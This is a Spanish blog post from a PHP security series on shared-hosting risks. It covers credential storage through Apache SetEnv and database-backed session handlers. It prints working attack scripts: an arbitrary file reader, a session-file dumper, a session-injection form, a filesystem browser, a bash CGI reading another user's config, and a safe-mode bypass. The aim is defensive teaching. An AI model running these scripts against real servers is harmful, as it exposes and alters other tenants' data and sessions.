martes, 8 de abril de 2014

[Parte 8] Seguridad en PHP

Alojamiento compartido

Muchas veces por mas seguro que estes en codigo el servidor puede no estar bien configurado, pero como en este caso no se habla a profundidad en el tema de los servidores sino en el tema de seguridad en php será en lo que nos centraremos.

Codigo fuente expuesto

En un servidor web compartido tenemos la mala suerte de que el codigo podria tambien ser leido por otros usuarios que esten en el mismo alojamiento, si el alojamiento compartido no esta bien configurado, el usuario podria insertar un codigo como el siguiente:



 <?php
 header("Content-Type: text/plain");
 readfile($_GET['archivo']);?>


Un atacante con este codigo en su servidor web, podria obtener la ruta completa de nuestro alojamiento, e intentar incluir algun codigo nuestro, un ejemplo podria ser de la siguiente forma:


http://ejemplo.com/archivo.php?archivo=/ruta/para/codigo_fuente.php
La manera que se le ve mas segura para almacenar este tipo de datos para que nadie vea donde no debe, seria guardarlos en una base de datos (encriptados), pero esto deja un problema todavia... ¿como hacer para que nuestros datos a la coneccion de la base de datos esten seguros?, un ejemplo nosotros tenemos un archivo php como el siguiente:


 <?php
 $db_user = 'miusuario';
 $db_pass = 'micontraseña';
 $db_host = 'localhost';
 $db = mysql_connect($db_host,$db_user,$db_pass);?>


La mejor solucion para este tipo de problema, seria crear un archivo de configuracion para estos datos, que solo un usuario root (permisos administrativos) pueda leer. Agregando lo siguiente:


SetEnv DB_USER "MiUsuario"
SetEnv DB_PASS "MiContraseña" 




SetEnv es una directiva de apache, el formato de este archivo indica a Apache crear variables de entorno para su usuario y contraseña de la base de datos. Y porsupuesto, este archivo solo lo podria leer un usuario root, pero si no tienes suficientes permisos, podrias usar el siguiente comando:


$ chmod 600 db.conf


Con ese permiso solo el propietario del archivo puede leer y escribir en el.


Para que este archivo le sea de utilidad, usted necesita poder acceder a el mediante PHP. Para ello editamos el archivo httpd.conf de manera que incluyamos nuestro archivo:


Include "/ruta/para/db.conf"

Ahora solamente en PHP hacemos referencia con la variable superglobal $_SERVER de la siguiente manera:

 <?php
 $db_user = $_SERVER['DB_USER'];
 $db_pass = $_SERVER['DB_PASS'];
 $db_host = 'localhost';
 $db = mysql_connect($db_host,$db_user,$db_pass);?>

De manera que si el archivo anterior esta expuesto, no podrian ver nuestras credenciales de acceso :)

Nota importante: Tenga en cuenta que los datos son enviados por la variable superglobal $_SERVER por lo cual si tiene un archivo con la funcion phpinfo() deberia denegar el acceso a tal archivo.





Datos de sesion expuestos

Incluso cuando proteges los datos, las sesiones estan expuestas, php guarda todo en el directorio temporal /tmp, las sesiones tambien se guardan alli, y con un sencillo script en php pueden ser expuestas:


 <?php
 header('Content-Type: text/plain');
 session_start();
 $path = ini_get('session.save_path');
 $handle = dir($path);
 while ($filename = $handle->read()){
  if (substr($filename, 0, 5) == 'sess_'){
   $data = file_get_contents("$path/$filename");
   if (!empty($data)){
     session_decode($data);
    $session = $_SESSION;
    $_SESSION = array();
    echo "Session [" . substr($filename, 5) . "]\n";
    print_r($session);
    echo "\n--\n\n";
   }
  }
 }
?>


Lo que hacemos con este script en php es buscar en la carpeta temnporal los archivos que empiezan con sess_ y luego mostrar su contenido, que en realidad es el contenido de una sesion lo decodificamos y lo mostramos...



La mejor manera para proteger nuestros datos de sesion seria guardarlos en la base de datos, hay que tener en cuenta que la seguridad en la base de datos se vuelve mas importante.

Primero creamos una tabla para las sesiones:

CREATE TABLE sessions
(
id varchar(32) NOT NULL,
access int(10) unsigned,
data text,
PRIMARY KEY (id)
);
Describiendo la tabla quedaria de la siguiente forma:


Para almacenar nuestros datos de sesion en esta tabla, es necesario que modifiquemos el mecanismo de sesiones:

 <?php
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
?>


Cada uno de estos argumentos maneja una tarea:

1.-  abre la sesion
2.- cierra la sesion
3.- lee la sesion
4.- escribe la sesion
5.- destruye la sesion
6.- limpia los datos de sesion obsoletos

Hacemos uso de ellos, creando una sesion para cada uno y realizando lo que se le indica:


<?php
 function _open(){
  global $_sess_db;
  $db_user = $_SERVER['DB_USER'];
  $db_pass = $_SERVER['DB_PASS'];
  $db_host = 'localhost';
  if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass)){
   return mysql_select_db('sessions', $_sess_db);
  }
  return FALSE;
 }
 function _close(){
  global $_sess_db;
  return mysql_close($_sess_db);
 }
 function _read($id){
 global $_sess_db;
  $id = mysql_real_escape_string($id);
  $sql = "SELECT data FROM sessions WHERE id = '$id'";
  if ($result = mysql_query($sql, $_sess_db)){
   if (mysql_num_rows($result)){
    $record = mysql_fetch_assoc($result);
    return $record['data'];
   }
  }
  return '';
 }
 function _write($id, $data){
 global $_sess_db;
  $access = time();
  $id = mysql_real_escape_string($id);
  $access = mysql_real_escape_string($access);
  $data = mysql_real_escape_string($data);
  $sql = "REPLACE INTO sessions VALUES ('$id', '$access', '$data')";
  return mysql_query($sql, $_sess_db);
 }
 function _destroy($id){
  global $_sess_db;
  $id = mysql_real_escape_string($id);
  $sql = "DELETE FROM sessions WHERE id = '$id'";
  return mysql_query($sql, $_sess_db);
 }
 function _clean($max){
  global $_sess_db;
  $old = time() - $max;
  $old = mysql_real_escape_string($old);
  $sql = "DELETE FROM sessions WHERE access < '$old'";
  return mysql_query($sql, $_sess_db);
 }
?>

Con esto deberiamos de llamar primero a session_set_save_handler() antes de sesion_start(), pero las funciones las podemos definir en cualquier lugar. De esta manera nos evitamos de modificar el codigo cuando usamos sesiones, ya que podemos seguir utilizando $_SESSION y se comporta de igual manera, PHP todavia se encarga de generar y propagar el identificador de sesion, y se siguen aplicando los cambios a las directivas de configuracion de sesion. Todo lo que tenemos que hacer es llamar a la funcion  (y crear las funciones a las que se refiere), y PHP se encarga del resto.

De esta manera si llenamos los datos de una sesion, por ejemplo:

 <?php
 include "manejador_sesiones.php";
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
 session_start();
 $_SESSION['foo'] = 'bar';
 $_SESSION['baz'] = 'wombat';
?>


Como vemos hacemos un include al manejador de sesiones, que es el codigo de cada funcion,insertado en la base de datos se veria de la siguiente, manera:  


Inyeccion de sesion

Como comentabamos anteriormente, cuando un usuario atacante se aloja en el mismo servidor, es posible que pueda atacarnos modificando nuestras sesiones, leyendolas o simplemente eliminarlas. Un ejemplo, seria el uso del siguiente script en PHP, inyectar.php:


 <?php
 include "manejador_sesiones.php";
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
 session_start();
 $_SESSION['foo'] = 'bar';
 $_SESSION['baz'] = 'wombat';
?><?php
 session_start();
?>
 <form action="inyectar.php" method="POST">
<?php
 $path = ini_get('session.save_path');
 $handle = dir($path);
 while ($filename = $handle->read()){
  if (substr($filename, 0, 5) == 'sess_'){
   $sess_data = file_get_contents("$path/$filename");
   if (!empty($sess_data)){
    session_decode($sess_data);
    $sess_data = $_SESSION;
    $_SESSION = array();
    $sess_name = substr($filename, 5);
    $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');
    echo "<h1>Session [$sess_name]</h1>";
    foreach ($sess_data as $name => $value){
     $name = htmlentities($name, ENT_QUOTES, 'UTF-8');
     $value = htmlentities($value, ENT_QUOTES, 'UTF-8');
     echo "<p>
     $name:
     <input type=\"text\"
     name=\"{$sess_name}[{$name}]\"
     value=\"$value\" />
     </p>";
    }
    echo '<br />';
   }
  }
 }
 $handle->close();
 ?>
 <input type="submit" />
 </form>
 El script inyectar.php puede realizar las modificaciones indicadas en el formulario
<?php
 session_start();
 $path = ini_get('session.save_path');
 foreach ($_POST as $sess_name => $sess_data){
  $_SESSION = $sess_data;
  $sess_data = session_encode;
  file_put_contents("$path/$sess_name", $sess_data);
 }
 $_SESSION = array();
?>


De esta manera como se muestra la siguiente imagenes podriamos modificar, eliminar y leer las sesiones:


La manera de protegernos ante este tipo de ataque es, metiendo los datos a la base de datos como lo hicimos anteriormente, en el apartado datos de sesiones expuestas.


Sistema de archivos de navegacion

Ademas de poder leer archivos de su servidor, un atacante puede crear un script PHP, de manera de saber donde se encuentran estos archivos, mas que nada para navegar por ellos, para saber donde se encuentran y poder accederlos. Podemos crear un script PHP como el siguiente:


<pre>
<?php
 if (isset($_GET['dir'])){
  ls($_GET['dir']);
 }
 elseif (isset($_GET['file'])){
  cat($_GET['file']);
 }
 else{
  ls('/');
 }
 function cat($file){
  echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8');
 }
 function ls($dir){
 $handle = dir($dir);
  while ($filename = $handle->read()){
   $size = filesize("$dir$filename");
   if (is_dir("$dir$filename")){
    $type = 'dir';
    $filename .= '/';
   }
   else{
    $type = 'file';
   }
   if (is_readable("$dir$filename")){
    $line = str_pad($size, 15);
    $line .= "<a href=\"{$_SERVER['PHP_SELF']}";
    $line .= "?$type=$dir$filename\">$filename</a>";
   }
   else{
    $line = str_pad($size, 15);
    $line .= $filename;
   }
   echo "$line\n";
  }
  $handle->close();
 }
?>
</pre>



De esta manera tenemos un navegador de archivos como el siguiente:



Entonces si cualquiera puede ver nuestros archivos y puede acceder a ellos y verlos, lo mejor seria optar por almacenar datos confidenciales en la base de datos y encriptados. Y archivos como por ejemplo las credenciales de la base de datos, db.conf deberiamos optar por meterlo fuera del directorio raiz.


Modo seguro

El modo seguro fue diseñado para intentar resolver los problemas de alojamientos compartidos. Sin embargo esto es arquitectonicamente incorrecto para resolver problemas a nivel PHP, pero desde las alternativas del servidor web o sistema operativo no son nada realisticas, mucha gente especialmente ISP's tienen modo seguro habilitado.



Cuando modo seguro esta activado, realiza una comprobacion para ver si el propietario del archivo es el mismo que esta leyendo o abriendolo o escribiendo sobre el. Aunque esto... afecta a otros lenguajes de programacion como PERL, Python, o un script en CGI Bash:

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /home/victima/inc/db.inc

En el archivo de configuracion php.ini podemos encontrar la directiva safe_mode la cual puede estar activada (On) o desactivada (Off), de la siguiente manera: Safe_mode = On
Si no sabes donde se encuentra tu archivo de configuracion, puedes crear un archivo con la funcion phpinfo() que te muestra informacion sobre la ruta donde se encuentra almacenado el archivo de configuracion de PHP.

Otro problema de modo seguro es que no impide el acceso a los ficheros que son propiedad del servidor web, por lo que si tenemos un script PHP como el siguiente:

<?php
 $filename = 'file.php';
 $script = '<?php
 header(\'Content-Type: text/plain\');
 readfile($_GET[\'file\']);
 ?>';
 file_put_contents($filename, $script);
?>

Se crea el siguiente archivo:

<?php
 header('Content-Type: text/plain');
 readfile($_GET['file']);
?>

Con el cual podemos leer archivos dentro del servidor. Debido a que el archivo tiene el mismo propietario que del archivo que lo creo. 

Como podemos ver el modo seguro contiene muchas fallas, es por eso que tambien fue eliminado y se declaro como obsoleto, entonces el modo seguro no es ningun reemplazo para todas las tecnicas de proteccion que hemos descrito hasta ahora.

Referencias:

* Essential PHP Security
* PHP documentacion oficial
* Wikipedia

No hay comentarios:

Publicar un comentario en la entrada